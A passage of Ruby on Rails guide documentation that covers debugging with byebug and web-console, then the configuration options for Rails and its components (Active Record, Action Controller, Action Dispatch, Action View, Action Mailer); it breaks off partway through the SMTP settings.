@attributes = #<ActiveRecord::AttributeSet:0x007fd0682a9b18 @attributes={"id"=>#<ActiveRecord::Attribute::FromDatabase:0x007fd0682a9a00 @name="id", @value_be...
@destroyed = false
@destroyed_by_association = nil
@marked_for_destruction = false
@new_record = true
@readonly = false
@transaction_state = nil
@txn = nil

You can also use display to start watching variables. This is a good way of tracking the values of a variable while the execution goes on.

(byebug) display @articles
1: @articles = nil

The variables inside the displayed list will be printed with their values after you move in the stack. To stop displaying a variable use undisplay n where n is the variable number (1 in the last example).

3.6 Step by Step

Now you should know where you are in the running trace and be able to print the available variables. But let's continue and move on with the application execution.

Use step (abbreviated s) to continue running your program until the next logical stopping point and return control to the debugger. next is similar to step, but while step stops at the next line of code executed, doing just a single step, next moves to the next line without descending inside methods.

For example, consider the following situation:

Started GET "/" for 127.0.0.1 at 2014-04-11 13:39:23 +0200
Processing by ArticlesController#index as HTML

[1, 6] in /PathToProject/app/models/article.rb
1: class Article < ApplicationRecord
2:   def self.find_recent(limit = 10)
3:     byebug
=> 4:     where('created_at > ?', 1.week.ago).limit(limit)
5:   end
6: end

(byebug)

If we use next, we won't go deep inside method calls. Instead, byebug will go to the next line within the same context. In this case, it is the last line of the current method, so byebug will return to the next line of the caller method.

(byebug) next
[4, 13] in /PathToProject/app/controllers/articles_controller.rb
4:   # GET /articles
5:   # GET /articles.json
6:   def index
7:     @articles = Article.find_recent
8:
=>  9:     respond_to do |format|
10:       format.html # index.html.erb
11:       format.json { render json: @articles }
12:     end
13:   end

(byebug)

If we use step in the same situation, byebug will literally go to the next Ruby instruction to be executed -- in this case, Active Support's week method.

(byebug) step

[49, 58] in /PathToGems/activesupport-5.0.0/lib/active_support/core_ext/numeric/time.rb
49:
50:   # Returns a Duration instance matching the number of weeks provided.
51:   #
52:   #   2.weeks # => 14 days
53:   def weeks
=> 54:     ActiveSupport::Duration.new(self * 7.days, [[:days, self * 7]])
55:   end
56:   alias :week :weeks
57:
58:   # Returns a Duration instance matching the number of fortnights provided.
(byebug)

This is one of the best ways to find bugs in your code.

You can also use step n or next n to move forward n steps at once.

3.7 Breakpoints

A breakpoint makes your application stop whenever a certain point in the program is reached. The debugger shell is invoked in that line.

You can add breakpoints dynamically with the command break (or just b). There are 3 possible ways of adding breakpoints manually:

- break n: set breakpoint in line number n in the current source file.

- break file:n [if expression]: set breakpoint in line number n inside file named file. If an expression is given it must evaluated to true to fire up the debugger.

- break class(.|\#)method [if expression]: set breakpoint in method (. and # for class and instance method respectively) defined in class. The expression works the same way as with file:n.

For example, in the previous situation

[4, 13] in /PathToProject/app/controllers/articles_controller.rb
4:   # GET /articles
5:   # GET /articles.json
6:   def index
7:     @articles = Article.find_recent
8:
=>  9:     respond_to do |format|
10:       format.html # index.html.erb
11:       format.json { render json: @articles }
12:     end
13:   end

(byebug) break 11
Successfully created breakpoint with id 1

Use info breakpoints to list breakpoints. If you supply a number, it lists that breakpoint. Otherwise it lists all breakpoints.

(byebug) info breakpoints
Num Enb What
1   y   at /PathToProject/app/controllers/articles_controller.rb:11

To delete breakpoints: use the command delete n to remove the breakpoint number n. If no number is specified, it deletes all breakpoints that are currently active.

(byebug) delete 1
(byebug) info breakpoints
No breakpoints.

You can also enable or disable breakpoints:

- enable breakpoints [n [m [...]]]: allows a specific breakpoint list or all breakpoints to stop your program. This is the default state when you create a breakpoint.

- disable breakpoints [n [m [...]]]: make certain (or all) breakpoints have no effect on your program.

3.8 Catching Exceptions

The command catch exception-name (or just cat exception-name) can be used to intercept an exception of type exception-name when there would otherwise be no handler for it.

To list all active catchpoints use catch.

3.9 Resuming Execution

There are two ways to resume execution of an application that is stopped in the debugger:

- continue [n]: resumes program execution at the address where your script last stopped; any breakpoints set at that address are bypassed. The optional argument n allows you to specify a line number to set a one-time breakpoint which is deleted when that breakpoint is reached.

- finish [n]: execute until the selected stack frame returns. If no frame number is given, the application will run until the currently selected frame returns. The currently selected frame starts out the most-recent frame or 0 if no frame positioning (e.g up, down or frame) has been performed. If a frame number is given it will run until the specified frame returns.

3.10 Editing

Two commands allow you to open code from the debugger into an editor:

- edit [file:n]: edit file named file using the editor specified by the EDITOR environment variable. A specific line n can also be given.

3.11 Quitting

To exit the debugger, use the quit command (abbreviated to q). Or, type q! to bypass the Really quit? (y/n) prompt and exit unconditionally.

A simple quit tries to terminate all threads in effect. Therefore your server will be stopped and you will have to start it again.

3.12 Settings

byebug has a few available options to tweak its behavior:

(byebug) help set

set <setting> <value>

Modifies byebug settings

Boolean values take "on", "off", "true", "false", "1" or "0". If you
don't specify a value, the boolean setting will be enabled. Conversely,
you can use "set no<setting>" to disable them.

You can see these environment settings with the "show" command.

List of supported settings:

autosave       -- Automatically save command history record on exit
autolist       -- Invoke list command on every stop
width          -- Number of characters per line in byebug's output
autoirb        -- Invoke IRB on every stop
basename       -- <file>:<line> information after every stop uses short paths
linetrace      -- Enable line execution tracing
autopry        -- Invoke Pry on every stop
stack_on_error -- Display stack trace when `eval` raises an exception
fullpath       -- Display full file names in backtraces
histfile       -- File where cmd history is saved to. Default: ./.byebug_history
listsize       -- Set number of source lines to list by default
post_mortem    -- Enable/disable post-mortem mode
callstyle      -- Set how you want method call parameters to be displayed
histsize       -- Maximum number of commands that can be stored in byebug history
savefile       -- File where settings are saved to. Default: ~/.byebug_save

You can save these settings in an .byebugrc file in your home directory. The debugger reads these global settings when it starts. For example:

set callstyle short
set listsize 25

4 Debugging with the web-console gem

Web Console is a bit like byebug, but it runs in the browser. In any page you are developing, you can request a console in the context of a view or a controller. The console would be rendered next to your HTML content.

4.1 Console

Inside any controller action or view, you can invoke the console by calling the console method.

For example, in a controller:

class PostsController < ApplicationController
def new
console
@post = Post.new
end
end

Or in a view:

<% console %>

<h2>New Post</h2>

This will render a console inside your view. You don't need to care about the location of the console call; it won't be rendered on the spot of its invocation but next to your HTML content.

The console executes pure Ruby code: You can define and instantiate custom classes, create new models and inspect variables.

Only one console can be rendered per request. Otherwise web-console will raise an error on the second console invocation.

4.2 Inspecting Variables

You can invoke instance_variables to list all the instance variables available in your context. If you want to list all the local variables, you can do that with local_variables.

4.3 Settings

- config.web_console.whitelisted_ips: Authorized list of IPv4 or IPv6 addresses and networks (defaults: 127.0.0.1/8, ::1).

- config.web_console.whiny_requests: Log a message when a console rendering is prevented (defaults: true).

Since web-console evaluates plain Ruby code remotely on the server, don't try to use it in production.

5 Debugging Memory Leaks

A Ruby application (on Rails or not), can leak memory — either in the Ruby code or at the C code level.

In this section, you will learn how to find and fix such leaks by using tool such as Valgrind.

5.1 Valgrind

Valgrind is an application for detecting C-based memory leaks and race conditions.

There are Valgrind tools that can automatically detect many memory management and threading bugs, and profile your programs in detail. For example, if a C extension in the interpreter calls malloc() but doesn't properly call free(), this memory won't be available until the app terminates.

For further information on how to install Valgrind and use with Ruby, refer to Valgrind and Ruby by Evan Weaver.

6 Plugins for Debugging

There are some Rails plugins to help you to find errors and debug your application. Here is a list of useful plugins for debugging:

- Footnotes Every Rails page has footnotes that give request information and link back to your source via TextMate.

- Query Trace Adds query origin tracing to your logs.

- Query Reviewer This Rails plugin not only runs "EXPLAIN" before each of your select queries in development, but provides a small DIV in the rendered output of each page with the summary of warnings for each query that it analyzed.

- Exception Notifier Provides a mailer object and a default set of templates for sending email notifications when errors occur in a Rails application.

- Better Errors Replaces the standard Rails error page with a new one containing more contextual information, like source code and variable inspection.

- RailsPanel Chrome extension for Rails development that will end your tailing of development.log. Have all information about your Rails app requests in the browser — in the Developer Tools panel. Provides insight to db/rendering/total times, parameter list, rendered views and more.

7 References

- ruby-debug Homepage

- debugger Homepage

- byebug Homepage

- web-console Homepage

- Article: Debugging a Rails application with ruby-debug

- Ryan Bates' debugging ruby (revised) screencast

- Ryan Bates' stack trace screencast

- Ryan Bates' logger screencast

- Debugging with ruby-debug

Configuring Rails Applications — Ruby...

1 Locations for Initialization Code

Rails offers four standard spots to place initialization code:

- config/application.rb

- Environment-specific configuration files

- Initializers

- After-initializers

2 Running Code Before Rails

In the rare event that your application needs to run some code before Rails itself is loaded, put it above the call to require 'rails/all' in config/application.rb.

3 Configuring Rails Components

In general, the work of configuring Rails means configuring the components of Rails, as well as configuring Rails itself. The configuration file config/application.rb and environment-specific configuration files (such as config/environments/production.rb) allow you to specify the various settings that you want to pass down to all of the components.

For example, the config/application.rb file includes this setting:

config.time_zone = 'Central Time (US & Canada)'

This is a setting for Rails itself. If you want to pass settings to individual Rails components, you can do so via the same config object in config/application.rb:

config.active_record.schema_format = :ruby

Rails will use that particular setting to configure Active Record.

3.1 Rails General Configuration

These configuration methods are to be called on a Rails::Railtie object, such as a subclass of Rails::Engine or Rails::Application.

- config.after_initialize takes a block which will be run after Rails has finished initializing the application. That includes the initialization of the framework itself, engines, and all the application's initializers in config/initializers. Note that this block will be run for rake tasks. Useful for configuring values set up by other initializers:

config.after_initialize do
ActionView::Base.sanitized_allowed_tags.delete 'div'
end

- config.asset_host sets the host for the assets. Useful when CDNs are used for hosting assets, or when you want to work around the concurrency constraints built-in in browsers using different domain aliases. Shorter version of config.action_controller.asset_host.

- config.autoload_once_paths accepts an array of paths from which Rails will autoload constants that won't be wiped per request. Relevant if config.cache_classes is false, which is the case in development mode by default. Otherwise, all autoloading happens only once. All elements of this array must also be in autoload_paths. Default is an empty array.

- config.autoload_paths accepts an array of paths from which Rails will autoload constants. Default is all directories under app.

- config.cache_classes controls whether or not application classes and modules should be reloaded on each request. Defaults to false in development mode, and true in test and production modes.

- config.action_view.cache_template_loading controls whether or not templates should be reloaded on each request. Defaults to whatever is set for config.cache_classes.

- config.beginning_of_week sets the default beginning of week for the application. Accepts a valid week day symbol (e.g. :monday).

- config.cache_store configures which cache store to use for Rails caching. Options include one of the symbols :memory_store, :file_store, :mem_cache_store, :null_store, or an object that implements the cache API. Defaults to :file_store if the directory tmp/cache exists, and to :memory_store otherwise.

- config.colorize_logging specifies whether or not to use ANSI color codes when logging information. Defaults to true.

- config.consider_all_requests_local is a flag. If true then any error will cause detailed debugging information to be dumped in the HTTP response, and the Rails::Info controller will show the application runtime context in /rails/info/properties. True by default in development and test environments, and false in production mode. For finer-grained control, set this to false and implement local_request? in controllers to specify which requests should provide debugging information on errors.

- config.console allows you to set class that will be used as console you run rails console. It's best to run it in console block:

console do
# this block is called only when running console,
# so we can safely require pry here
require "pry"
config.console = Pry
end

- config.eager_load when true, eager loads all registered config.eager_load_namespaces. This includes your application, engines, Rails frameworks and any other registered namespace.

- config.eager_load_namespaces registers namespaces that are eager loaded when config.eager_load is true. All namespaces in the list must respond to the eager_load! method.

- config.eager_load_paths accepts an array of paths from which Rails will eager load on boot if cache classes is enabled. Defaults to every folder in the app directory of the application.

- config.enable_dependency_loading: when true, enables autoloading, even if the application is eager loaded and config.cache_classes is set as true. Defaults to false.

- config.encoding sets up the application-wide encoding. Defaults to UTF-8.

- config.exceptions_app sets the exceptions application invoked by the ShowException middleware when an exception happens. Defaults to ActionDispatch::PublicExceptions.new(Rails.public_path).

- config.debug_exception_response_format sets the format used in responses when errors occur in development mode. Defaults to :api for API only apps and :default for normal apps.

- config.file_watcher is the class used to detect file updates in the file system when config.reload_classes_only_on_change is true. Rails ships with ActiveSupport::FileUpdateChecker, the default, and ActiveSupport::EventedFileUpdateChecker (this one depends on the listen gem). Custom classes must conform to the ActiveSupport::FileUpdateChecker API.

- config.filter_parameters used for filtering out the parameters that you don't want shown in the logs, such as passwords or credit card numbers. By default, Rails filters out passwords by adding Rails.application.config.filter_parameters += [:password] in config/initializers/filter_parameter_logging.rb. Parameters filter works by partial matching regular expression.

- config.force_ssl forces all requests to be served over HTTPS by using the ActionDispatch::SSL middleware, and sets config.action_mailer.default_url_options to be { protocol: 'https' }. This can be configured by setting config.ssl_options - see the ActionDispatch::SSL documentation for details.

- config.log_formatter defines the formatter of the Rails logger. This option defaults to an instance of ActiveSupport::Logger::SimpleFormatter for all modes except production, where it defaults to Logger::Formatter. If you are setting a value for config.logger you must manually pass the value of your formatter to your logger before it is wrapped in an ActiveSupport::TaggedLogging instance, Rails will not do it for you.

- config.log_level defines the verbosity of the Rails logger. This option defaults to :debug for all environments. The available log levels are: :debug, :info, :warn, :error, :fatal, and :unknown.

- config.log_tags accepts a list of: methods that the request object responds to, a Proc that accepts the request object, or something that responds to to_s. This makes it easy to tag log lines with debug information like subdomain and request id - both very helpful in debugging multi-user production applications.

- config.logger is the logger that will be used for Rails.logger and any related Rails logging such as ActiveRecord::Base.logger. It defaults to an instance of ActiveSupport::TaggedLogging that wraps an instance of ActiveSupport::Logger which outputs a log to the log/ directory. You can supply a custom logger, to get full compatibility you must follow these guidelines:

- To support a formatter, you must manually assign a formatter from the config.log_formatter value to the logger.

- To support tagged logs, the log instance must be wrapped with ActiveSupport::TaggedLogging.

- To support silencing, the logger must include LoggerSilence and ActiveSupport::LoggerThreadSafeLevel modules. The ActiveSupport::Logger class already includes these modules.

class MyLogger < ::Logger
include ActiveSupport::LoggerThreadSafeLevel
include LoggerSilence
end

mylogger           = MyLogger.new(STDOUT)
mylogger.formatter = config.log_formatter
config.logger = ActiveSupport::TaggedLogging.new(mylogger)

- config.middleware allows you to configure the application's middleware. This is covered in depth in the Configuring Middleware section below.

- config.reload_classes_only_on_change enables or disables reloading of classes only when tracked files change. By default tracks everything on autoload paths and is set to true. If config.cache_classes is true, this option is ignored.

- secrets.secret_key_base is used for specifying a key which allows sessions for the application to be verified against a known secure key to prevent tampering. Applications get secrets.secret_key_base initialized to a random key present in config/secrets.yml.

- config.public_file_server.enabled configures Rails to serve static files from the public directory. This option defaults to true, but in the production environment it is set to false because the server software (e.g. NGINX or Apache) used to run the application should serve static files instead. If you are running or testing your app in production mode using WEBrick (it is not recommended to use WEBrick in production) set the option to true. Otherwise, you won't be able to use page caching and request for files that exist under the public directory.

- config.session_store is usually set up in config/initializers/session_store.rb and specifies what class to use to store the session. Possible values are :cookie_store which is the default, :mem_cache_store, and :disabled. The last one tells Rails not to deal with sessions. Custom session stores can also be specified:

config.session_store :my_custom_store

This custom store must be defined as ActionDispatch::Session::MyCustomStore.

- config.time_zone sets the default time zone for the application and enables time zone awareness for Active Record.

3.2 Configuring Assets

- config.assets.enabled a flag that controls whether the asset pipeline is enabled. It is set to true by default.

- config.assets.raise_runtime_errors Set this flag to true to enable additional runtime error checking. Recommended in config/environments/development.rb to minimize unexpected behavior when deploying to production.

- config.assets.css_compressor defines the CSS compressor to use. It is set by default by sass-rails. The unique alternative value at the moment is :yui, which uses the yui-compressor gem.

- config.assets.js_compressor defines the JavaScript compressor to use. Possible values are :closure, :uglifier and :yui which require the use of the closure-compiler, uglifier or yui-compressor gems respectively.

- config.assets.gzip a flag that enables the creation of gzipped version of compiled assets, along with non-gzipped assets. Set to true by default.

- config.assets.paths contains the paths which are used to look for assets. Appending paths to this configuration option will cause those paths to be used in the search for assets.

- config.assets.precompile allows you to specify additional assets (other than application.css and application.js) which are to be precompiled when rake assets:precompile is run.

- config.assets.prefix defines the prefix where assets are served from. Defaults to /assets.

- config.assets.manifest defines the full path to be used for the asset precompiler's manifest file. Defaults to a file named manifest-<random>.json in the config.assets.prefix directory within the public folder.

- config.assets.digest enables the use of MD5 fingerprints in asset names. Set to true by default.

- config.assets.debug disables the concatenation and compression of assets. Set to true by default in development.rb.

- config.assets.compile is a boolean that can be used to turn on live Sprockets compilation in production.

- config.assets.logger accepts a logger conforming to the interface of Log4r or the default Ruby Logger class. Defaults to the same configured at config.logger. Setting config.assets.logger to false will turn off served assets logging.

3.3 Configuring Generators

Rails allows you to alter what generators are used with the config.generators method. This method takes a block:

config.generators do |g|
g.orm :active_record
g.test_framework :test_unit
end

The full set of methods that can be used in this block are as follows:

- assets allows to create assets on generating a scaffold. Defaults to true.

- force_plural allows pluralized model names. Defaults to false.

- helper defines whether or not to generate helpers. Defaults to true.

- integration_tool defines which integration tool to use to generate integration tests. Defaults to :test_unit.

- javascripts turns on the hook for JavaScript files in generators. Used in Rails for when the scaffold generator is run. Defaults to true.

- javascript_engine configures the engine to be used (for eg. coffee) when generating assets. Defaults to :js.

- orm defines which orm to use. Defaults to false and will use Active Record by default.

- resource_controller defines which generator to use for generating a controller when using rails generate resource. Defaults to :controller.

- resource_route defines whether a resource route definition should be generated or not. Defaults to true.

- scaffold_controller different from resource_controller, defines which generator to use for generating a scaffolded controller when using rails generate scaffold. Defaults to :scaffold_controller.

- stylesheets turns on the hook for stylesheets in generators. Used in Rails for when the scaffold generator is run, but this hook can be used in other generates as well. Defaults to true.

- stylesheet_engine configures the stylesheet engine (for eg. sass) to be used when generating assets. Defaults to :css.

- scaffold_stylesheet creates scaffold.css when generating a scaffolded resource. Defaults to true.

- test_framework defines which test framework to use. Defaults to false and will use Minitest by default.

- template_engine defines which template engine to use, such as ERB or Haml. Defaults to :erb.

3.4 Configuring Middleware

Every Rails application comes with a standard set of middleware which it uses in this order in the development environment:

- ActionDispatch::SSL forces every request to be served using HTTPS. Enabled if config.force_ssl is set to true. Options passed to this can be configured by setting config.ssl_options.

- ActionDispatch::Static is used to serve static assets. Disabled if config.public_file_server.enabled is false. Set config.public_file_server.index_name if you need to serve a static directory index file that is not named index. For example, to serve main.html instead of index.html for directory requests, set config.public_file_server.index_name to "main".

- ActionDispatch::Executor allows thread safe code reloading. Disabled if config.allow_concurrency is false, which causes Rack::Lock to be loaded. Rack::Lock wraps the app in mutex so it can only be called by a single thread at a time.

- ActiveSupport::Cache::Strategy::LocalCache serves as a basic memory backed cache. This cache is not thread safe and is intended only for serving as a temporary memory cache for a single thread.

- Rack::Runtime sets an X-Runtime header, containing the time (in seconds) taken to execute the request.

- Rails::Rack::Logger notifies the logs that the request has begun. After request is complete, flushes all the logs.

- ActionDispatch::ShowExceptions rescues any exception returned by the application and renders nice exception pages if the request is local or if config.consider_all_requests_local is set to true. If config.action_dispatch.show_exceptions is set to false, exceptions will be raised regardless.

- ActionDispatch::RequestId makes a unique X-Request-Id header available to the response and enables the ActionDispatch::Request#uuid method.

- ActionDispatch::RemoteIp checks for IP spoofing attacks and gets valid client_ip from request headers. Configurable with the config.action_dispatch.ip_spoofing_check, and config.action_dispatch.trusted_proxies options.

- Rack::Sendfile intercepts responses whose body is being served from a file and replaces it with a server specific X-Sendfile header. Configurable with config.action_dispatch.x_sendfile_header.

- ActionDispatch::Callbacks runs the prepare callbacks before serving the request.

- ActiveRecord::ConnectionAdapters::ConnectionManagement cleans active connections after each request, unless the rack.test key in the request environment is set to true.

- ActiveRecord::QueryCache caches all SELECT queries generated in a request. If any INSERT or UPDATE takes place then the cache is cleaned.

- ActionDispatch::Cookies sets cookies for the request.

- ActionDispatch::Session::CookieStore is responsible for storing the session in cookies. An alternate middleware can be used for this by changing the config.action_controller.session_store to an alternate value. Additionally, options passed to this can be configured by using config.action_controller.session_options.

- ActionDispatch::Flash sets up the flash keys. Only available if config.action_controller.session_store is set to a value.

- Rack::MethodOverride allows the method to be overridden if params[:_method] is set. This is the middleware which supports the PATCH, PUT, and DELETE HTTP method types.

- Rack::Head converts HEAD requests to GET requests and serves them as so.

Besides these usual middleware, you can add your own by using the config.middleware.use method:

config.middleware.use Magical::Unicorns

This will put the Magical::Unicorns middleware on the end of the stack. You can use insert_before if you wish to add a middleware before another.

config.middleware.insert_before Rack::Head, Magical::Unicorns

There's also insert_after which will insert a middleware after another:

config.middleware.insert_after Rack::Head, Magical::Unicorns

Middlewares can also be completely swapped out and replaced with others:

config.middleware.swap ActionController::Failsafe, Lifo::Failsafe

They can also be removed from the stack completely:

config.middleware.delete Rack::MethodOverride

3.5 Configuring i18n

All these configuration options are delegated to the I18n library.

- config.i18n.available_locales whitelists the available locales for the app. Defaults to all locale keys found in locale files, usually only :en on a new application.

- config.i18n.default_locale sets the default locale of an application used for i18n. Defaults to :en.

- config.i18n.enforce_available_locales ensures that all locales passed through i18n must be declared in the available_locales list, raising an I18n::InvalidLocale exception when setting an unavailable locale. Defaults to true. It is recommended not to disable this option unless strongly required, since this works as a security measure against setting any invalid locale from user input.

- config.i18n.load_path sets the path Rails uses to look for locale files. Defaults to config/locales/*.{yml,rb}.

3.6 Configuring Active Record

config.active_record includes a variety of configuration options:

- config.active_record.logger accepts a logger conforming to the interface of Log4r or the default Ruby Logger class, which is then passed on to any new database connections made. You can retrieve this logger by calling logger on either an Active Record model class or an Active Record model instance. Set to nil to disable logging.

- config.active_record.primary_key_prefix_type lets you adjust the naming for primary key columns. By default, Rails assumes that primary key columns are named id (and this configuration option doesn't need to be set.) There are two other choices:

- :table_name would make the primary key for the Customer class customerid.

- :table_name_with_underscore would make the primary key for the Customer class customer_id.

- config.active_record.table_name_prefix lets you set a global string to be prepended to table names. If you set this to northwest_, then the Customer class will look for northwest_customers as its table. The default is an empty string.

- config.active_record.table_name_suffix lets you set a global string to be appended to table names. If you set this to _northwest, then the Customer class will look for customers_northwest as its table. The default is an empty string.

- config.active_record.schema_migrations_table_name lets you set a string to be used as the name of the schema migrations table.

- config.active_record.pluralize_table_names specifies whether Rails will look for singular or plural table names in the database. If set to true (the default), then the Customer class will use the customers table. If set to false, then the Customer class will use the customer table.

- config.active_record.default_timezone determines whether to use Time.local (if set to :local) or Time.utc (if set to :utc) when pulling dates and times from the database. The default is :utc.

- config.active_record.schema_format controls the format for dumping the database schema to a file. The options are :ruby (the default) for a database-independent version that depends on migrations, or :sql for a set of (potentially database-dependent) SQL statements.

- config.active_record.error_on_ignored_order_or_limit specifies if an error should be raised if the order or limit of a query is ignored during a batch query. The options are true (raise error) or false (warn). Default is false.

- config.active_record.timestamped_migrations controls whether migrations are numbered with serial integers or with timestamps. The default is true, to use timestamps, which are preferred if there are multiple developers working on the same application.

- config.active_record.lock_optimistically controls whether Active Record will use optimistic locking and is true by default.

- config.active_record.cache_timestamp_format controls the format of the timestamp value in the cache key. Default is :nsec.

- config.active_record.record_timestamps is a boolean value which controls whether or not timestamping of create and update operations on a model occur. The default value is true.

- config.active_record.partial_writes is a boolean value and controls whether or not partial writes are used (i.e. whether updates only set attributes that are dirty). Note that when using partial writes, you should also use optimistic locking config.active_record.lock_optimistically since concurrent updates may write attributes based on a possibly stale read state. The default value is true.

- config.active_record.maintain_test_schema is a boolean value which controls whether Active Record should try to keep your test database schema up-to-date with db/schema.rb (or db/structure.sql) when you run your tests. The default is true.

- config.active_record.dump_schema_after_migration is a flag which controls whether or not schema dump should happen (db/schema.rb or db/structure.sql) when you run migrations. This is set to false in config/environments/production.rb which is generated by Rails. The default value is true if this configuration is not set.

- config.active_record.dump_schemas controls which database schemas will be dumped when calling db:structure:dump. The options are :schema_search_path (the default) which dumps any schemas listed in schema_search_path, :all which always dumps all schemas regardless of the schema_search_path, or a string of comma separated schemas.

- config.active_record.belongs_to_required_by_default is a boolean value and controls whether a record fails validation if belongs_to association is not present.

- config.active_record.warn_on_records_fetched_greater_than allows setting a warning threshold for query result size. If the number of records returned by a query exceeds the threshold, a warning is logged. This can be used to identify queries which might be causing memory bloat.

- config.active_record.index_nested_attribute_errors allows errors for nested has_many relationships to be displayed with an index as well as the error. Defaults to false.

The MySQL adapter adds one additional configuration option:

- ActiveRecord::ConnectionAdapters::Mysql2Adapter.emulate_booleans controls whether Active Record will consider all tinyint(1) columns as booleans. True by default.

The schema dumper adds one additional configuration option:

- ActiveRecord::SchemaDumper.ignore_tables accepts an array of tables that should not be included in any generated schema file. This setting is ignored unless config.active_record.schema_format == :ruby.

3.7 Configuring Action Controller

config.action_controller includes a number of configuration settings:

- config.action_controller.asset_host sets the host for the assets. Useful when CDNs are used for hosting assets rather than the application server itself.

- config.action_controller.perform_caching configures whether the application should perform the caching features provided by the Action Controller component or not. Set to false in development mode, true in production.

- config.action_controller.default_static_extension configures the extension used for cached pages. Defaults to .html.

- config.action_controller.include_all_helpers configures whether all view helpers are available everywhere or are scoped to the corresponding controller. If set to false, UsersHelper methods are only available for views rendered as part of UsersController. If true, UsersHelper methods are available everywhere. The default configuration behavior (when this option is not explicitly set to true or false) is that all view helpers are available to each controller.

- config.action_controller.logger accepts a logger conforming to the interface of Log4r or the default Ruby Logger class, which is then used to log information from Action Controller. Set to nil to disable logging.

- config.action_controller.request_forgery_protection_token sets the token parameter name for RequestForgery. Calling protect_from_forgery sets it to :authenticity_token by default.

- config.action_controller.allow_forgery_protection enables or disables CSRF protection. By default this is false in test mode and true in all other modes.

- config.action_controller.forgery_protection_origin_check configures whether the HTTP Origin header should be checked against the site's origin as an additional CSRF defense.

- config.action_controller.per_form_csrf_tokens configures whether CSRF tokens are only valid for the method/action they were generated for.

- config.action_controller.relative_url_root can be used to tell Rails that you are deploying to a subdirectory. The default is ENV['RAILS_RELATIVE_URL_ROOT'].

- config.action_controller.permit_all_parameters sets all the parameters for mass assignment to be permitted by default. The default value is false.

- config.action_controller.action_on_unpermitted_parameters enables logging or raising an exception if parameters that are not explicitly permitted are found. Set to :log or :raise to enable. The default value is :log in development and test environments, and false in all other environments.

- config.action_controller.always_permitted_parameters sets a list of whitelisted parameters that are permitted by default. The default values are ['controller', 'action'].

3.8 Configuring Action Dispatch

- config.action_dispatch.session_store sets the name of the store for session data. The default is :cookie_store; other valid options include :active_record_store, :mem_cache_store or the name of your own custom class.

- config.action_dispatch.default_headers is a hash with HTTP headers that are set by default in each response. By default, this is defined as:

config.action_dispatch.default_headers = {
'X-Frame-Options' => 'SAMEORIGIN',
'X-XSS-Protection' => '1; mode=block',
'X-Content-Type-Options' => 'nosniff'
}

- config.action_dispatch.default_charset specifies the default character set for all renders. Defaults to nil.

- config.action_dispatch.tld_length sets the TLD (top-level domain) length for the application. Defaults to 1.

- config.action_dispatch.http_auth_salt sets the HTTP Auth salt value. Defaults to 'http authentication'.

- config.action_dispatch.signed_cookie_salt sets the signed cookies salt value. Defaults to 'signed cookie'.

- config.action_dispatch.encrypted_cookie_salt sets the encrypted cookies salt value. Defaults to 'encrypted cookie'.

- config.action_dispatch.encrypted_signed_cookie_salt sets the signed encrypted cookies salt value. Defaults to 'signed encrypted cookie'.

- config.action_dispatch.perform_deep_munge configures whether deep_munge method should be performed on the parameters. See Security Guide for more information. It defaults to true.

- config.action_dispatch.rescue_responses configures what exceptions are assigned to an HTTP status. It accepts a hash and you can specify pairs of exception/status. By default, this is defined as:

config.action_dispatch.rescue_responses = {
'ActionController::RoutingError'              => :not_found,
'AbstractController::ActionNotFound'          => :not_found,
'ActionController::MethodNotAllowed'          => :method_not_allowed,
'ActionController::UnknownHttpMethod'         => :method_not_allowed,
'ActionController::NotImplemented'            => :not_implemented,
'ActionController::UnknownFormat'             => :not_acceptable,
'ActionController::InvalidAuthenticityToken'  => :unprocessable_entity,
'ActionController::InvalidCrossOriginRequest' => :unprocessable_entity,
'ActionDispatch::ParamsParser::ParseError'    => :bad_request,
'ActionController::BadRequest'                => :bad_request,
'ActionController::ParameterMissing'          => :bad_request,
'Rack::QueryParser::ParameterTypeError'       => :bad_request,
'Rack::QueryParser::InvalidParameterError'    => :bad_request,
'ActiveRecord::RecordNotFound'                => :not_found,
'ActiveRecord::StaleObjectError'              => :conflict,
'ActiveRecord::RecordInvalid'                 => :unprocessable_entity,
'ActiveRecord::RecordNotSaved'                => :unprocessable_entity
}

Any exceptions that are not configured will be mapped to 500 Internal Server Error.

- ActionDispatch::Callbacks.before takes a block of code to run before the request.

- ActionDispatch::Callbacks.to_prepare takes a block to run after ActionDispatch::Callbacks.before, but before the request. Runs for every request in development mode, but only once for production or environments with cache_classes set to true.

- ActionDispatch::Callbacks.after takes a block of code to run after the request.

3.9 Configuring Action View

config.action_view includes a small number of configuration settings:

- config.action_view.field_error_proc provides an HTML generator for displaying errors that come from Active Model. The default is

Proc.new do |html_tag, instance|
%Q(<div class="field_with_errors">#{html_tag}</div>).html_safe
end

- config.action_view.default_form_builder tells Rails which form builder to use by default. The default is ActionView::Helpers::FormBuilder. If you want your form builder class to be loaded after initialization (so it's reloaded on each request in development), you can pass it as a String.

- config.action_view.logger accepts a logger conforming to the interface of Log4r or the default Ruby Logger class, which is then used to log information from Action View. Set to nil to disable logging.

- config.action_view.erb_trim_mode gives the trim mode to be used by ERB. It defaults to '-', which turns on trimming of tail spaces and newline when using <%= -%> or <%= =%>. See the Erubis documentation for more information.

- config.action_view.embed_authenticity_token_in_remote_forms allows you to set the default behavior for authenticity_token in forms with remote: true. By default it's set to false, which means that remote forms will not include authenticity_token, which is helpful when you're fragment-caching the form. Remote forms get the authenticity from the meta tag, so embedding is unnecessary unless you support browsers without JavaScript. In such case you can either pass authenticity_token: true as a form option or set this config setting to true.

- config.action_view.prefix_partial_path_with_controller_namespace determines whether or not partials are looked up from a subdirectory in templates rendered from namespaced controllers. For example, consider a controller named Admin::ArticlesController which renders this template:

<%= render @article %>

The default setting is true, which uses the partial at /admin/articles/_article.erb. Setting the value to false would render /articles/_article.erb, which is the same behavior as rendering from a non-namespaced controller such as ArticlesController.

- config.action_view.raise_on_missing_translations determines whether an error should be raised for missing translations.

- config.action_view.automatically_disable_submit_tag determines whether submit_tag should automatically disable on click, this defaults to true.

- config.action_view.debug_missing_translation determines whether to wrap the missing translations key in a <span> tag or not. This defaults to true.

3.10 Configuring Action Mailer

There are a number of settings available on config.action_mailer:

- config.action_mailer.logger accepts a logger conforming to the interface of Log4r or the default Ruby Logger class, which is then used to log information from Action Mailer. Set to nil to disable logging.

- config.action_mailer.smtp_settings allows detailed configuration for the :smtp delivery method. It accepts a hash of options, which can include any of these options:

- :address - Allows you to use a remote mail server. Just change it from its default "localhost" setting.

- :port - On the off chance that your mail server doesn't run on port 25, you can change it.

- :domain - If you need to specify a HELO domain, you can do it here.

- :user_name - If your mail server requires authentication, set the username in this setting.

- :password - If your mail server requires authentication, set the password in this setting.

